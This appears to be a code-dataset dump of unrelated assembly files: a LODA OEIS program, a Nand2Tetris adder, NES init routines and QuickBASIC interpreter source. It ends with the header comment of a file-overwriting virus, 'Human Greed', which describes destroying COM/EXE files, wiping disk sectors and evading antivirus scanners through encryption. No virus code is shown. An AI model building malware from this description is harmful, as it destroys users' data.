content
stringlengths 5
1.04M
| avg_line_length
float64 1.75
12.9k
| max_line_length
int64 2
244k
| alphanum_fraction
float64 0
0.98
| licenses
sequence | repository_name
stringlengths 7
92
| path
stringlengths 3
249
| size
int64 5
1.04M
| lang
stringclasses 2
values |
---|---|---|---|---|---|---|---|---|
; A334670: a(n) = (2*n+1)!! * (Sum_{k=1..n} 1/(2*k+1)).
; Submitted by Jon Maiga
; 0,1,8,71,744,9129,129072,2071215,37237680,741975345,16236211320,387182170935,9995788416600,277792140828825,8269430130712800,262542617405726175,8855805158351474400,316285840413064454625,11924219190760084593000,473245342972281190686375,19722890048636406588957000,861197342549053471928591625,39317742444387989746734570000,1873307686221861776044182399375,92984644817645661149704845210000,4800652727145875990688402580100625,257414822452474738381211565939255000,14315767314314506087327126273936884375
mov $1,1
mov $2,1
lpb $0
sub $0,1
add $2,2
mul $3,$2
add $3,$1
mul $1,$2
lpe
mov $0,$3
| 45.066667 | 496 | 0.822485 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/334/A334670.asm | 676 | Assembly |
@7
D=A
@SP
A=M
M=D
@SP
M=M+1
@8
D=A
@SP
A=M
M=D
@SP
M=M+1
@SP
A=M-1
D=M
A=A-1
M=D+M
@SP
M=M-1
| 8.272727 | 9 | 0.252747 | [
"MIT"
] | anArkitect/Nand2Tetris | projects/07/StackArithmetic/SimpleAdd/SimpleAdd.asm | 182 | Assembly |
VBlankWait: ; wait for vblank
BIT PPUSTATUS
BPL VBlankWait
RTS
ConfigWrite:
LDA #$80
STA $8000
LDA #%00001110 ; 8KB CHR, 16KB PRG, $8000-BFFF swappable, vertical mirroring
STA $8000 ; first data bit
LSR A ; shift to next bit
STA $8000 ; second data bit
LSR A ; etc
STA $8000
LSR A
STA $8000
LSR A
STA $8000
RTS
PRGBankWrite:
LDA sourceBank ; load bank number
AND #%01111111 ; clear the WRAM bit so it is always enabled
STA $E000
LSR A
STA $E000
LSR A
STA $E000
LSR A
STA $E000
LSR A
STA $E000
RTS
LoadCHRAM:
LDA PPUSTATUS
LDA #$00
STA PPUADDR ; set PPU to the CHR RAM area $0000-1FFFF
STA PPUADDR
LDY #$00
LDX #$20
LDA #LOW(Graphics)
STA source
LDA #HIGH(Graphics)
STA source+1
LoadCHRAMLoop:
LDA [source], y
STA PPUDATA
INY
BNE LoadCHRAMLoop
INC source+1
DEX
BNE LoadCHRAMLoop
LoadCHRAMDone:
RTS
LoadPalettes:
LDA PPUSTATUS ; read PPU to reset h/l latch
LDA #$3F
STA PPUADDR ; write high byte of $3F00
LDA #$00
STA PPUADDR ; write low byte of $3F00
LDX #$00 ; set X to 0
LoadPalletesLoop:
LDA palette, x ; load pallete at index X
STA PPUDATA ; write the value to PPU
INX ; increment X
CPX #$20 ; check if X is 32
BNE LoadPalletesLoop ; if not, go to the start of the loop
RTS | 21.594595 | 85 | 0.546308 | [
"MIT"
] | mkiesinski/no-mans-byte-nes | init_helper.asm | 1,598 | Assembly |
TITLE conmisc.asm - miscellaneous context-related routines
;***
;conmisc.asm - miscellaneous context-related routines for QBI
;
; Copyright <C> 1986, Microsoft Corporation
;
;Purpose:
; - CLEAR support
; - NEW support
; - Runtime Initialization
; - Context-sensitive heap management support (updating backpointers ...)
; - other miscellaneous context-related support
;
;
;*******************************************************************************
.xlist
include version.inc
CONMISC_ASM = ON
includeOnce architec
includeOnce conint
includeOnce context
includeOnce executor
includeOnce heap
includeOnce names
includeOnce parser
includeOnce qbimsgs
includeOnce rtinterp
includeOnce rtps
includeOnce scanner
includeOnce txtmgr
includeOnce ui
includeOnce variable
.list
assumes CS,CP
assumes DS,DATA
assumes SS,DATA
assumes ES,NOTHING
sBegin DATA
globalB fChaining,FALSE ;TRUE while reinit code is being used
; while loading a new program we're
; CHAINing to
staticW oMrsDesired,0 ;used to find an oMrs of specified type
externB fInitialized
externB b$CtrlFlags ;a byte of various runtime bit flags
externB b$ScreenRestored ;flag set by B$RUNINI
sEnd DATA
EXTRN B$RUNINI:FAR
EXTRN B$CHNINI:FAR
sBegin RT ;so RTOFFSET is defined
sEnd RT
sBegin CP
;***
;AdjustRsTable
;Purpose:
; Adjust owners in the global Rs table when it moves.
; This amounts to walking the mrs chain, adjust the var table
; backpointers.
;Entry:
; SI = pbTable = pointer to the start of the appropriate table
; DI = an adjustment factor to be passed via BdAdjust to update the
; backpointer for each bd in grs.bdtComBlk.
;Exit:
; none.
;Exceptions:
; none.
;
;***************************************************************************
cProc AdjustRsTable,<PUBLIC,NEAR,NODATA>
cBegin
mov si,OMRS_GLOBAL
test [conFlags],F_CON_StaticStructs
jnz RsAdjust_Cont ;brif static structs - pMrsCur not used
add [grs.GRS_pMrsCur],di ;update pointer to mrsCur for use
; at execution
TESTM grs.GRS_oRsCur,08000H ; is active Rs an mrs?
jnz RsAdjust_Cont ; brif so
add [grs.GRS_pRsCur],di ;update pointer to current Rs for use
; at execution
RsAdjust_Cont:
;--------------------------------------------------------------------
; now, SI = offset to current mrs
; DI = adjustment factor for the backpointer into this table
;--------------------------------------------------------------------
RsAdjust_Entry:
cmp si,[grs.GRS_oMrsCur]
jnz RsAdjust_It
test [conFlags],F_CON_StaticStructs
jz RsAdjust_It ;brif not static structs
mov si,dataOFFSET mrsCur
jmp short RsAdjust_Next ;brif this is mrsCur - - - static struct
; won't move
RsAdjust_It:
add si,[grs.GRS_bdRs.BD_pb] ;si points to an mrs in table
mov ax,si
add ax,MRS_bdVar
cCall BdAdjust,<ax> ;adjust bdVar in current mrs
RsAdjust_Next:
mov si,[si.MRS_oMrsNext]
inc si
jz RsAdjust_Done
dec si
jmp short RsAdjust_Entry
RsAdjust_Done:
cEnd
;***
;AdjustITable
;Purpose:
; Given a pointer to either grs.bdtMrs or grs.bdtComBlk
; and the constant IT_MRS or IT_COMMON_BLOCK to indicate which
; one, walk through through the table, calling the Heap Manager (via
; BdAdjust) to adjust the backpointer for each of the bd structures in
; each entry by the constant given in DI.
;
; This routine is called when the heap manager finds it necessary to
; move one of these tables, in order to update backpointers to owners
; in the table as quickly as possible.
;
; Note that this routine depends on the fact that each of these tables
; contain entries which have one or two bd structures, depending
; on the table type. We also assume that the bd structures are contiguous.
;Entry:
; pbTable = pointer to the start of the appropriate table
; oPastLast is the cbLogical of the appropriate table. This amounts
; to an offset to where the NEXT entry would go into the table,
; and is thus a measure of where the table ends (cbLogical is
; kept to the actual size of the table).
; heapType is one of IT_MRS or IT_COMMON_BLOCK.
; DI = an adjustment factor to be passed via BdAdjust to update the
; backpointer for each bd in grs.bdtComBlk.
;Exit:
; none.
;Exceptions:
; none.
;
;***************************************************************************
cProc AdjustITable,<PUBLIC,FAR,NODATA>,<SI>
parmW pbTable
parmW oPastLast
parmB heapType
LocalW cbAdvance ;cb to advance to next entry
LocalW pbInvalid ;pointer to 1st byte past last entry
cBegin AdjustITable
mov cx,[oPastLast]
jcxz Adjust_Done ;Stop right now if empty table
mov al,[heapType]
mov si,[pbTable]
cmp al,IT_COMMON_BLOCK ;is it grs.bdtComBlk?
jz Adjust_Cont ; brif so
DbAssertRelB al,z,IT_MRS,CP,<AdjustITable: unknown heapType>
call AdjustRsTable
jmp short Adjust_Done
Adjust_Cont:
add cx,si ;now cx equals end-of-table pointer
mov [pbInvalid],cx
add si,COM_bdType
mov [cbAdvance],(SIZE COM - SIZE BD)
;--------------------------------------------------------------------
; now, SI = pointer to current bd to be adjusted
; DI = adjustment factor for each backpointer into this table
; cbAdvance = count of bytes from start of last bd to first
; bd in next entry
; pbInvalid = pointer to first byte past last entry in table
;--------------------------------------------------------------------
Adjust_Entry:
cmp si,[pbInvalid] ;any entries left?
jae Adjust_Done ; brif not
cCall BdAdjust,<si> ;adjust first bd in current entry
add si,SIZE BD ;move to next bd
cmp [si.BD_cbPhysical],UNDEFINED
;is this bd really used to store info.
; about a U.L. COMMON block?
jz Adjust_Advance ; brif so
cCall BdAdjust,<si> ;adjust it
Adjust_Advance:
add si,[cbAdvance] ;advance to next entry in table
jnc Adjust_Entry ; brif not special case: wrap
; past FFFF
Adjust_Done:
cEnd AdjustITable
;***
;ClearTheWorld()
;
;Purpose:
; Clear all common variables and clear all module and procedure static
; variables. Does NOT clear (release) frame variables.
;Entry:
; none.
;Exit:
; none.
;*******************************************************************************
cProc ClearTheWorld,<PUBLIC,NEAR,NODATA>
cBegin ClearTheWorld
DbChk ConStatStructs ;ensure static structures
test [grs.GRS_flagsDir],FDIR_cleared ;is the world already clear?
jnz ClearWorld_Exit ; brif so - no work to do
Clear_Common:
cCall ClearCommon
mov bx,OFFSET CP:ClearPV
call ForEachPrsInPlaceCPSav ;clear all prs var tables
mov al,FE_PcodeMrs+FE_CallMrs+FE_SaveRs
mov bx,OFFSET CP:ClearMV
call ForEachCP ;clear all mrs tables
;retval guaranteed TRUE
or [grs.GRS_flagsDir],FDIR_cleared ;note that world is now clear
and [mrsCur.MRS_flags],NOT FM_VARNEW ;reset bit in mrs flags, in
; case we were called as
; VarDealloc
ClearWorld_Exit:
cEnd ClearTheWorld
;***
;VarDealloc()
;
;Purpose:
; Use ClearTheWorld to deallocate all variables in the current module
;
; Note: shares exit with ClearTheWorld.
;
; Note: For QB, this clears all variables in the system, whereas for
; EB, just the variables for the current module (and all proc-
; level statics for procedures in the module) are cleared.
;Entry:
; none in FV_QB4LANG versions.
; in other versions, fClearPV TRUE means we should clear proc-level
; (static) vars as well as module-level vars for the module
;Exit:
; none.
;*******************************************************************************
cProc VarDealloc,<PUBLIC,NEAR,NODATA>
cBegin VarDealloc
DbChk ConStatStructs ;ensure static structures
or [mrsCur.MRS_flags],FM_VARNEW ;tell CLEAR code we want to
; deallocate $static arrays,
; not just zero-fill them (in
; this module only)
jmp short Clear_Common ;share exit with ClearTheWorld
cEnd <nogen>
;***
;NewStmt()
;
;Purpose:
; This is called by the NEW, CHAIN, LOAD statement executers to do the
; following:
; - ForEachMrs, discard the mrs
; - Calls RunInit()
; - Trims the mrs table so that it includes only the mrs for module Untitled
; - releases all prs table entries
; - reinitializes the procedure table
; - Calls the variable manager's ResetCommon() function to discard all
; COMMON value and type blocks and reset the grs.bdComBlk block to empty.
; - Perform the equivalent of a TROFF
; - Calls ParseNewInit
; - Collapse the heap (garbage collect)
;
; Before doing anything, this function calls the user-interface function
; NotSaved(), which lets the user save any unsaved modules, or CANCEL the
; action. If the user selected the CANCEL button (in response to NotSaved),
; a Runtime Error occurs, which allows us to get back to UserInterface and
; cancel the current operation. The user-interface does not report this
; error to the user.
;
;Entry:
; none.
;Exit:
; none.
;Uses:
; DI (preserves ES since this is used by exStNew).
;Exceptions:
; If a module was modified and not saved, NotSaved will allow user to
; cancel - - - if he does so, a runtime error is generated, and this
; routine does not return.
; Does not return in the case of a runtime error.
;
;*******************************************************************************
extrn EmptyMrs:near
cProc NewStmt,<PUBLIC,FAR,NODATA>,<ES,SI>
cBegin NewStmt
call EnStaticStructs ;ensure static mrsCur and
; prsCur are activated
cCall NotSaved ;notify user, get his response.
; if CANCEL, ax=MSG_GoDirect
; if user said NO, ax=FFFF
; if I/O error, ax = error code
; if files saved ok, ax=0
DJMP jg J1_RtError ;brif runtime error while
; saving files, or CANCEL
or [grs.GRS_flagsDir],FDIR_new ;note that NewStmt is active
; (speed optimization)
mov [grs.GRS_otxCONT],UNDEFINED ;NOTE must be done before any
;text tables are discarded
;so we don't tell user "This
;will prevent CONT"
call CmdWatchDelAll ;eliminate all Watch expressions
cCall ResetCommon ;note: must call this BEFORE
;NewDiscard; otherwise, if there
;exists some common value of
;user defined type, and we've
;tossed the type table, then
;access of that variable will
;cause an error
;Note that the below scheme depends on the fact that NextMrsFile
;finds the first mrs in the table if grs.GRS_oMrsCur is UNDEFINED, and
;that MrsDiscard will set that field to UNDEFINED. It is not safe to
;call ForEachCP to do this, because that scheme depends on walking
;the mrs chain, and MrsDiscard discards the current entry. In essense
;we are starting from the top of the mrs chain each time through the
;loop below.
call MrsDeactivate ;required so NextMrsFile
;starts from the beginning
MrsDiscard_Loop:
call far ptr NextMrsFile ;activate next file mrs
inc ax ; no more file mrs's?
jz MrsDiscard_Cont ; brif so - exit loop
call MrsDiscard ;discard active mrs
jmp short MrsDiscard_Loop
MrsDiscard_Cont:
mov [fTraceOn],0 ; do the equivalent of TROFF
PUSHI ax,OMRS_GLOBAL
cCall MrsActivateCP ;[16] activate the global mrs
PUSHI ax,SbGNam ; parm to TNamInit
call TNamInit ; reinit global name table
call VarRudeReset
mov ax,SIZE MRS + OMRS_GLOBAL ; we know new empty unnamed
; mrs will be at this offset
cCall MrsActivateCP,<ax> ;activate the empty unnamed mrs
call ParseNewInit ;parser reinit stuff
DbAssertRel ax,nz,0,CP,<NewStmt: ParseNewInit returned an error code>
or [b$CtrlFlags],NoSTACKINIT ;speed optimization for LOAD
; don't bother to reinit the
; stack
call far ptr RunInit ;note that this alters si & di
and [b$CtrlFlags],NOT NoSTACKINIT ;reset to default value
cmp [fChaining],FALSE
jnz NewStmt_Exit ;brif we're CHAINing
test [conFlags], F_CON_RunFile
jnz NewStmt_Cont ;brif we're clearing the decks
; to load and run a file -
; don't want to show debug
; screen yet in this case
call EnsShowDebugScrFar
NewStmt_Cont:
or [conFlags],F_CON_ResetStkSize ;reset the stack to default
; size on next BOS or BOL
NewStmt_Exit:
and [grs.GRS_flagsDir],NOT FDIR_new ;NewStmt no longer active
cEnd NewStmt
J1_RtError:
call RtError ;error(ax), never returns
;***
;TrimBdlDirect - Trim the direct mode buffer
;
;Purpose:
; We trim the direct mode buffer to give back most of the space to
; the user when we reinitialize basic (NewStmt) or prior to running
; a program, but we must never trim it to less than CB_PCODE_MIN - - -
; this is to ensure that the user can ALWAYS do a CLEAR, SETMEM,
; SYSTEM, etc., even when essentially out of memory.
;Entry:
; none.
;Exit:
; none.
;Uses:
; none.
;Exceptions:
; none.
;*******************************************************************************
cProc TrimBdlDirect,<NEAR,NODATA>
cBegin
PUSHI ax,<dataOFFSET grs.GRS_bdlDirect>
mov ax,[grs.GRS_bdlDirect_cbLogical]
cmp ax,CB_PCODE_MIN
ja Trim_It ;brif cbLogical > CB_PCODE_MIN
mov ax,CB_PCODE_MIN
Trim_It:
push ax ;size to realloc to
call BdlRealloc ;trim Direct mode buffer to
; minimum safe size
cEnd
;***
;ContReinit, ContReinitStat
;
;Purpose:
; This routine does a subset of the work that RunInit does, and is
; called when a user continues.
;Entry:
; none.
;Exit:
; none.
; ContReinit Disables static structs if they weren't already disabled
; ContReinitStat always leaves static structs active.
;Uses:
; none.
;Exceptions:
; none.
;*******************************************************************************
PUBLIC ContReinit
PUBLIC ContReinitStat
ContReinit:
xor ax,ax
SKIP2_PSW ;fall into ContReinitGen
ContReinitStat:
mov ax,sp
?DFP = DFP_NONE ; don't smash regs ...
cProc ContReinitGen,<FAR,NODATA>,<SI>
cBegin ContReinit
?DFP = DFP_CP ; restore switch
xchg ax,si ;save input flag
call EnStaticStructs ;activate static structs for
; call to ForEachCP
mov al,FE_PcodeMRS+FE_CallMRS+FE_SaveRs
mov bx,OFFSET CP:CompressTNam
call ForEachCP ;crunch all module name tables
; down to cbLogical
cCall BdCompressAll ;reduce all entries to cbLogical
; size, compress heap
cCall TrimBdlDirect
or si,si
jnz ContReinit_Exit ;brif want static structs active
call DisStaticStructs ;deactivate static structs
ContReinit_Exit:
cEnd ContReinitGen
;***
;CompressTNam
;
;Purpose:
; Realloc mrsCur.MRS_bdlNam down to it's cbLogical size (to free up as
; much heap space as possible for execution).
;Entry:
; mrsCur assumed set up.
;Exit:
; always returns TRUE
;Uses:
; none.
;Exceptions:
; none.
;*******************************************************************************
cProc CompressTNam,<NEAR,NODATA>
cBegin CompressTNam
PUSHI ax,<dataOFFSET mrsCur.MRS_bdlNam>
call BdlTrim ;crunch module name table down
; to free all unused space
; for execution
mov ax,sp ;return TRUE
cEnd CompressTNam
;***
;FindAnMrs
;Purpose:
; Used to find the first mrs in the mrs table with some special
; characteristics. Called by any of the ForEachXXX routines, just
; saves grs.GRS_oMrsCur in the static 'oMrsDesired' and returns FALSE,
; to terminate the ForEachXXX caller.
;Entry:
; mrsCur is a pcode mrs.
;Exit:
; returns FALSE (ax = 0).
;Exceptions:
; none.
;*******************************************************************************
cProc FindAnMrs,<NEAR,NODATA>
cBegin FindAnMrs
mov ax,[grs.GRS_oMrsCur]
mov [oMrsDesired],ax
xor ax,ax ;terminate ForEachXXX caller.
cEnd FindAnMrs
;***
;RunInit()
;
;Purpose:
; This is called by NewStmt(), and the RUN statement executer to do the
; following:
; - Call ClearStmt
; - reset event handlers and error traps
; - deactivate current prs, if any
; - Set grs.oPrsCur = UNDEFINED,
; - Call RT entry point B$RUNINI to do runtime reinit.
;
;Entry:
; none.
;Exit:
; ax = 0 if no error, else contains a standard error message.
;Uses:
; SI and DI
;Exceptions:
; Does not return in the case of a runtime error.
;
;*******************************************************************************
cProc RunInit,<PUBLIC,FAR,NODATA>
cBegin RunInit
and [grs.GRS_flags],NOT FG_RetDir ;remember there's no ret adr to
; direct mode buffer on stack.
call EnStaticStructs ;activate static mrsCur and
; prsCur for this routine
push ax ; save returned flag
test [mrsCur.MRS_flags2],FM2_NoPcode
jz RunInit_Cont ;brif active module can be
; counted on to have a var tbl,
; a name table, etc.
;search the mrs table and activate the first one encountered that
; is a pcode mrs (MUST be one ...) - - - this is so we don't try to
; CLEAR a non-existent var table, for example, in, say, the mrs for
; Immediate mode (B$RUNINI can also make a call-back that uses the
; nammgr ...)
mov al,FE_PcodeMrs+FE_CallMrs
mov bx,OFFSET CP:FindAnMrs
cCall ForEachCP
push [oMrsDesired]
cCall MrsActivateCP ;activate pcode mrs
RunInit_Cont:
call far ptr Clear_RunInit ;retval must be TRUE, since
; we're not changing memory size
mov [grs.GRS_otxCONT],UNDEFINED
cCall DebugReset ;release WATCH str descriptors,
; reset history buffer
cCall BdCompressAll ;reduce all entries to cbLogical
; size, compress heap
cCall TrimBdlDirect ;trim direct mode buffer
pop cx
jcxz Static_Structs_OK ;brif static structs were
; active on entry
call DisStaticStructs ;deactivate static structs
; (as they were on input)
Static_Structs_OK:
push [grs.GRS_oMrsCur]
cCall RsActivateCP ;ensure no procedure is active
; note we can't just call
; PrsDeActivate here, as static
; structures might not be active
cmp [fChaining],FALSE
jnz Chaining ;brif this is for CHAIN, not RUN
push WORD PTR ([fDebugScr])
call EnsMouseOff ;otherwise, B$RUNINI leaves a
; ghost of mouse cursor
PUSHI ax,<RTOFFSET B$RUNINI>
call CallRtTrap_RT ;ax = 0 if no error, error code
;runtime reinit. for RUN, NEW
pop cx ;cl = old value of fDebugScr
push ax ;error return from B$RUNINI
or cl,cl
je RunInit_Exit1 ;brif debug screen wasn't active
cmp [b$ScreenRestored],0
je NotRestored ;brif B$RUNINI didn't change
; screen modes
call TossOutputScreen ;output screen is activ
NotRestored:
call EnsShowDebugScrFar ;reactivate debug screen
RunInit_Exit1:
pop ax ;error return from B$RUNINI
jmp short RunInit_Exit
Chaining:
mov bx,[grs.GRS_bdtComBlk.BD_pb]
;NOTE: we're depending on there always being an entry for blank COMMON,
;NOTE: and that it's always the entry at offset zero in this table
add bx,COM_bdValue ;point to bdValue for blank
; COMMON
xor ax,ax ;assume no QBI blank common,
; or that it's empty
cmp [bx.BD_cbLogical],ax ;is blank COMMON empty?
jz Chaining_Cont ; brif so
TESTM [bx.BD_pb],1 ; if pb is odd, then this is
; not an owner, but is for
; U.L. blank COMMON
jnz Chaining_Cont ;brif not QBI blank COMMON
xchg ax,bx ;pass pBdValue to B$CHNINI
; so it won't release owners
; in this block
Chaining_Cont:
xchg ax,bx ;bx is a parm to B$CHNINI
EXTRN seg_rt:abs
PUSHI ax,<SEG seg_rt>
PUSHI ax,<RTOFFSET B$CHNINI> ;runtime reinit. for CHAIN
call CallRtTrap_Parm ;ax = 0 if no error, error code
RunInit_Exit:
cEnd RunInit
;***
;ResetData() - reset the data pointer for mrsCur
;
;Purpose:
; Called to reset the data pointer for a given module
; Called as part of CLEAR, NEW, RUN, CHAIN, and whenever scanning
; a text table and Cant CONT. This latter case ensures that DATA
; statements get set correctly for READ's in Direct Mode.
;Entry:
; mrsCur is set up.
;Exit:
; Returns AX != 0
;Preserves:
; es
;*******************************************************************************
PUBLIC ResetData
ResetData PROC NEAR
mov ax,[mrsCur.MRS_data_otxFirst] ;oTx of link field of first DATA
; statement
cmp ax,UNDEFINED
jz ResetData_Exit ;brif no DATA, in case there's a
; READ statement (so we give
; the proper error @ runtime)
mov [mrsCur.MRS_data_oLineCur],6 ;offset into current DATA stmt
sub ax,4 ;oTx of first exStData pcode
ResetData_Exit:
mov [mrsCur.MRS_data_otxCur],ax ;otxFirst - 4 or UNDEFINED
mov ax,sp
ret
ResetData ENDP
;***
;Clear_Mod
;Purpose:
; Tasks that must be performed for each module, lumped together here
; to reduce context switching (for speed)
;Entry:
; none.
;Exit:
; always returns AX != 0
;*******************************************************************************
Clear_Mod PROC NEAR
mov [mrsCur.MRS_otxHandler],UNDEFINED
;reset module error trap
call ResetData ;reset DATA statements
;Reclaim space in module name table. Only really needs to be done for
;RUN init, but who cares about the extra time for CLEAR ...
call CompressTNam ;returns AX != 0
ret
Clear_Mod ENDP
;***
;ClearStmt, Clear_RunInit
;
;Purpose:
;
; This is called by CLEAR and by RunInit() for RUN, LOAD, NEW, CHAIN etc.
; statements to do the following:
;
; - Call the Variable Mgr functions ClearCommon,
; ClearMV() for each module, and ClearPVStat() for
; each procedure in each module, and ClearPVFrame()
; for each procedure on the stack to:
; - Set all numeric static variables to zero
; - Release all string variables
; - Do the equivalent of an ERASE on all arrays
; - Remember that we can't CONT
; - Reset the module data pointer for each module
; - Reset the module error trap for each module
; - Reclaim free space in each module name table
; - Close all user files (not system files like the
; file being loaded etc.)
; - Perform special version-specific reinitialization
; (graphics, sound, pen, strig, etc.)
; - Reinitialize the random number seed
; - Sets bosFlags FBOSRESETSTK bit to cause stack to be reset @ next
; BOS/BOL
;
; Since CLEAR causes the stack to get reset, we have chosen not to allow a
; program to execute CLEAR from within a procedure or function; the text
; manager will issue an error message to prevent this.
;
; Clear_RunInit is just like ClearStmt, except that it is assumed that
; static structs are already set up on input, and that this routine need
; not reset the DATA statements in each module; this is a speed optimization
; to prevent needless context switching.
;Entry:
; none.
;Exit:
; none.
;Uses:
; none.
;Exceptions:
; none.
;
;*******************************************************************************
cProc Clear_RunInit,<FAR,NODATA>
cBegin Clear_RunInit
push es ;save for executor
xor ax,ax
jmp short Clear_Spt_Common
cEnd Clear_RunInit,<nogen>
cProc ClearStmt,<PUBLIC,FAR,NODATA>
cBegin ClearStmt
push es ;save for executor
call EnStaticStructs ;activate static mrsCur and
; prsCur for this routine
Clear_Spt_Common:
push ax ; save flag
mov al,FE_PcodeMrs+FE_CallMrs+FE_SaveRs
mov bx,OFFSET CP:Clear_Mod
call ForEachCP ;retval guaranteed to be TRUE
call ClearTheWorld
or BosFlags,FBOSRESETSTK ;cause stack to be reset @ next
; BOS/BOL
mov [pGosubLast],0 ;reset - - - can't RETURN now
and [grs.GRS_flagsDir],NOT FDIR_cleared ;reset flag, so next call to
; ClearTheWorld doesn't
; assume world is clear
pop cx
jcxz StaticStructs_OK ;brif context state is okay
call DisStaticStructs ;deactivate static prsCur &
; mrsCur again (as they were
; on input)
StaticStructs_OK:
pop es
cEnd
;***
;CantCont()
;
;Purpose:
; Sets grs.otxCONT to UNDEFINED, i.e., makes it so the user
; can no longer CONTINUE.
;Note:
; When UserInterface() is entered, if we were not executing out of the
; direct mode buffer, grs.otxCONT is set to the current
; text pointer (grs.otxCur).
;Entry:
; none.
;Exit:
; none.
;Uses:
; none.
;Exceptions:
; none.
;
;*******************************************************************************
cProc CantCont,<PUBLIC,FAR,NODATA>
cBegin CantCont
mov cx,UNDEFINED
xchg [grs.GRS_otxCONT],cx ;ensure this gets set to UNDEFINED
inc cx
.errnz 0FFFFH - UNDEFINED
jcxz CantCont_Exit ;brif already couldn't CONTinue
; (because RunInit closes files)
test [conFlags], F_CON_RunFile
jnz CantCont_Exit ;brif we're clearing the decks
; to load and run a file -
; don't want to show debug screen
push [grs.GRS_oRsCur] ;pass caller's oRs to RsActivateCP below
; RunInit deactivates current prs
call RunInit
call RsActivateCP ;parm pushed above
call EnsShowDebugScrFar
CantCont_Exit:
cEnd CantCont
sEnd CP
sBegin SCAN
assumes cs,SCAN
;***
;FCanCont
;
;Purpose:
; tests grs.otxCONT for UNDEFINED, i.e., sees if the user
; can CONTINUE.
;Entry:
; none.
;Exit:
; ax = 0 and psw.Z is set if the user cannot continue
;Uses:
; none.
;Exceptions:
; none.
;
;*******************************************************************************
cProc FCanCont,<PUBLIC,NEAR,NODATA>
cBegin
mov ax,[grs.GRS_otxCONT]
inc ax ;ax = 0 if can't continue
cEnd
sEnd SCAN
sBegin CP
assumes cs,CP
;***
;NextQBI_Frame
;Purpose:
; Given a frame pointer, return the next higher frame pointer if it's
; a QBI frame. Indicate whether a QBI frame was found or not, and if
; the end of frame chain or broken chain or non-QBI frame was found.
;Input:
; di = pointer to a pointer to a frame
;Output:
; PSW.C set if invalid frame found (broken chain, or non-QBI frame found)
; if PSW.C clear,
; PSW.Z set if end of BP chain found ,i.e., there exist no more frames
; If both of the above flags are clear, di on exit points to the next
; higher QBI frame on the stack, and the oRs for this frame is
; activated
; ax also contains PSW flags
;*******************************************************************************
cProc NextQBI_Frame,<PUBLIC,FAR>
cBegin
mov ax,[di]
mov bx,[b$mainframe]
DbAssertRel [bx],z,0,CP,<NextQBI_Frame: BP chain not zero terminated>
cmp bx,ax ;end of frame chain?
jc Flags_Set_Exit ; brif new ptr above stack
jz No_Carry_Exit ; brif so
cmp ax,di ;is new ptr > old?
jc Flags_Set_Exit ; brif not - broken chain
mov di,ax
shr al,1 ;is the new frame ptr odd?
jc Flags_Set_Exit ; brif so - broken chain
call ValidORs ;ax = 0 if valid QBI frame
or ax,ax
jnz Set_Carry_Exit ;brif QBI frame not found
;success - ensure PSW.Z and PSW.C are reset and exit
inc ax ;reset PSW.Z
SKIP2_AX ;skip to No_Carry_Exit
Set_Carry_Exit:
stc
SKIP1_AL ;skip the clc, leave PSW intact
No_Carry_Exit:
clc ;success or end of BP chain
Flags_Set_Exit:
pushf
pop ax
cEnd NextQBI_Frame
;***
;ActiveORs_Frame
;Purpose:
; Given a pointer to a pointer to a frame and grs.GRS_oRsCur, walk
; the stack checking each QBI frame on the stack until we find
; one that was pushed from the context of the given oRs, or until
; we find the end of the chain, a broken chain, or a non-QBI frame.
;Input:
; ppFrame == pointer to a pointer to a frame (ex: mov bx,dataOFFSET
; b$curframe)
; grs.GRS_oRsCur is set for the register set we're looking for on stack.
;Output:
; PSW.C set if given oRs definitely has no active frame on the stack.
; PSW.C clear if given oRs IS found, OR if it MIGHT have an active
; frame on the stack.
;
; ax == 0 if given oRs definitely has no active frame on the stack.
; ax != 0 if given oRs IS found, OR if it MIGHT have an active
; frame on the stack.
;Note:
; Note that this routine could THINK a frame is a QBI frame
; when it really isn't. It only checks the oRs part of the frame.
;*******************************************************************************
cProc ActiveORs_Frame,<PUBLIC,FAR>,<SI,DI>
parmW ppFrame
cBegin
mov bx,[ppFrame]
mov si,[grs.GRS_oRsCur] ;oRs we're looking for
cmp word ptr [bx],0
jz ORsFrame_Exit ;brif special case of no frames to
; search
mov di,bx
ORsFrame_Loop:
call NextQBI_Frame
push ax
popf
jc ORsFrame_Success ;brif broken chain or non-QBI frame
jz ORsFrame_Exit ;brif end of frame chain found
cmp si,[grs.GRS_oRsCur]
jnz ORsFrame_Loop ;brif this frame for a different oRs
;success - - - given oRs frame IS on stack
ORsFrame_Success:
clc
SKIP1_AL ;skip stc and exit
ORsFrame_Exit:
stc ;indicate failure
pushf
cCall RsActivate,<si> ; reactivate input oRsCur
mov bx,di ;retval if success
sub ax,ax ; assume no active frame found
popf
jc @F ; brif no active frame found
mov ax,sp
@@:
cEnd
;***
;FindORsFrame
;Purpose:
; Given b$curframe and grs.GRS_oRsCur, walk the stack checking each
; QBI frame on the stack until we find one that was pushed from the
; context of the given oRs, or until we find the end of the chain, a
; broken chain, or a non-QBI frame.
;
; NOTE: This does NOT look at the active frame, only previously pushed
; frames. If you want to examine the active frame, use oRsCont.
;Input:
; b$curframe is the first frame to examine.
; grs.GRS_oRsCur is set for the register set we're looking for on stack.
;Output:
; AX = 0 if the given oRs has no active frame on the stack.
; AX != 0 means that there is PROBABLY an active frame for this oRs.
;*******************************************************************************
cProc FindORsFrame,<PUBLIC,NEAR>
cBegin
mov bx,dataOFFSET b$curframe ;ptr to ptr to first frame
cCall ActiveORs_Frame,<bx>
cEnd
sEnd CP
end
| 31.377937 | 80 | 0.646668 | [
"Apache-2.0"
] | minblock/msdos | 45/qb/ir/conmisc.asm | 30,719 | Assembly |
; VirusName : Human Greed
; Origin : Sweden
; Author : The Unforgiven
; Date : 20/12/93
;
; This is a "mutation" of the Infernal Demand virus, written by Metal
; Militia. Even if it's high modified, its ground is still the same.
; This is yet another of this simple overwriting virus, and it's
; nothing really to scream hurray for. This virus will search for
; exe or com files on drive C:, and then overwrite the first 666
; bytes, and therefor permantely destroy the victims. It used the
; "dot-dot" method for changing directory, and when all files are
; infected (overwritten), it will return to the original directory.
; The code is encrypted, thus making it hard to detect. Scan,
; MSAV, CPAV, FindViru, F-prot and TBScan can't find a shit.
; Yes, Tbscan used to find this as the "Infernal" virus, but he
; with his 90% (nice try!) failed again!, how patetic!
;
; If a infected file is being run, it's 50% that it will display
; this stupid "Program to big to fit in memory" message. Then
; if the message is printed on the screen, it'll throw the dice
; once more. If the number are 10 or lower, it'll simple wipe out
; the first sectors by overwrite them on your C: drive. This means
; that for each run, it's 5% that it'll "go-off".
; The "message dump" to a file under c:\ has also been deleted.
